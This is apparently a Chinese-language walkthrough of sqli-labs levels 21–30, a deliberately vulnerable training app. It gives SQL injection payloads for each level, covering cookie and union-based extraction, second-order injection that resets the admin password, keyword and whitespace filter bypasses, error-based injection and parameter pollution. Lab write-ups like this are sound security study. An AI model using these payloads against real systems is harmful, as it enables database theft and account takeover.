sqli-labs闯关21-30——通关记录
Less-21
由题目可知,本题是cookie注入,且闭合方式是')。并且涉及到了base64编码
随便输入试探一下显示
username:admin
passwd:admin
可以看到,cookie部分uname的值是进行了base64 编码
因此尝试修改cookie的值,且将目的语句进行base64编码后作为cookie输入
') union select 1,2,3#
可以看到,显示的字段是2,3
接下来继续绕过
') union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3# #爆表
成功
Less-22
由题目可以知道该题为双引号闭合,且和上题一样
不再赘述
Less-23
经过测试可知,该题是单引号闭合
随后测试显示字段
?id=-1' union select 1,2,3 and '1'='1
然后一套组合拳
?id=-1' union select 1,database(),3 and '1'='1
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3 and '1'='1
可以看到限制了显示行数
加个limit即可
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1
完成
Less-24
本题是二阶注入
二阶注入是指客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令信息。虽然参数在过滤后会添加 “” 进行转义,但是“”并不会插入到数据库中,这样就可以利用这个构造一个二次注入。
二阶注入也称为存储型的注入,就是将可能导致SQL注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发SQL注入二次排序注入思
一阶注入原理
(1)一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;
(2)攻击者在http请求中提交非法输入;
(3)应用程序处理非法输入,使用非法输入构造SQL语句;
(4)在攻击过程中向攻击者返回结果。
二阶注入原理:
(1)攻击者在http请求中提交恶意输入;
(2)恶意输入保存在数据库中;
(3)攻击者提交第二次http请求;
(4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
(5)如果攻击成功,在第二次请求响应中返回结果。
查看源代码
mysql_real_escape_string() :不会转义 % 和 _ 。如果这两个符号和LIKE ,GRANT,REVOKE结合使用,他们将是MySQL里面的通配符
mysql_escape_string() 转义字符,即在字符前加
查看登陆界面源代码,可以看到这里并不能产生注入
查看注册界面源代码,可以看到这里同样进行了过滤
看看修改密码页面源代码,看到这里没有过滤
尝试创建一个新用户,用户名为admin'#
查看数据库,已经创建成功
查看sql语句的执行过程
原SQL语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改密码sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
//#后面的语句被注释了
最后真正执行的sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'
之后进入修改密码的界面,将admin的密码修改为000000
成功
Less-25
由题可知,该题过滤了and ,or的get注入
测试可知,该题是单引号闭合
看下面的提示,猜测是是单纯过滤了字符串,可以尝试双写绕过
?id=1' oorrder by 1 aandnd '1'='1
随后
?id=-1' union select 1,database(),3 anandd '1'='1
成功
Less-25a
尝试闭合方式,单引号双引号都报错,且本题也都过滤了or,and
构造语句
?id=1 aandnd 1=1
看出本题没有闭合
构造语句
?id=-1 union select 1,database(),3 aandnd 1=1
成功
Less-26
测试可得该题是单引号闭合,构造语句
?id=1' and '1'='1#
看显示,可以知道本题过滤了空格和and
查看源代码,看到这过滤比较完全,无法正面绕过
所以采用报错注入,构造语句
?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1 #因为空格被过滤,因此采用||来链接语句
成功
Less-26a
尝试测试闭合方式。。。没测出来,查看源码是单引号小括号闭合
构造语句
?id=1') and 1=1
可以看到过滤了空格和and,和上题类似,不再赘述
Less-27
测试可得,闭合方式为单引号闭合,且过滤了union和select以及空格
在sql语句中,大小写不敏感
即SELECTselectSeleCt
查看源代码
正则表达式
i
如果设定了此修正符,模式中的字符将同时匹配大小写字母。m
如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。s
匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ f v]。注意 Unicode 正则表达式会匹配全角空格符。x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#
以及下一个换行符之间的所有字符,包括两头,也都被忽略。e
如果设定了此修正符,preg_replace()
在替换字符串中对逆向引用作正常的替换。?
在.
/+
/*
之后表示非贪婪匹配,.
/+
/*
限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?
就可以实现非贪婪或最小匹配。
构造语句
?id=0'%0Auunionnion%0AsselecteLECT%0A1,database(),3||'1'='1 #-被过滤了,因此不能使用-1,%0a换行符
成功
Less-27a
测试可知,闭合方式为双引号,本题和上题类似
构造语句
?id=0"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1
成功
Less-28
猜测闭合方式
?id=1')||('1')=('1
正确,闭合方式是单引号小括号
查看源代码
可知过滤利用正则表达式使其大小写敏感,因此可以尝试双写绕过,且过滤的是union select
构造语句
?id=1990')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1 #过滤掉union%0Aselect部分,其余部分执行
成功
Less-28a
查看源码知道闭合方式是单引号小括号,且其仅过滤了union select
构造语句
?id=-1') uniounion selectn select 1,database(),3--+
成功
Less-29
测试知道是单引号闭合
构造语句
?id=-1' union select 1,database(),3 and '1'='1#
成功了,感觉没这么简单,再深入一点
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1#
???也成功了,所以到底防了个啥
查看源代码
在login.php的源码中看到
这里解释一下服务器架构
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据原路径返回
对于index.php/?id=1&id=2,Tomcat读取第一个参数,Apache读取最后一个参数,但是由于是Apache处理数据,因此最后返回的数据是id=2
对源代码里的函数解释一下
explode("string",parameter) 以STRING为分割符,将PARAMETER分割成字符串数组
foreach 依次输出数组内容
上述图片中的函数,返回带有id参数的字符串第四位到三十位的字符,然后进行正则匹配,若匹配成功,则执行sql 语句
Less-30
测试可得闭合方式为双引号
构造语句
?id=-1" union select 1,database(),3 and "1"="1#
成功
查看源码,本题和上题类似,不再赘述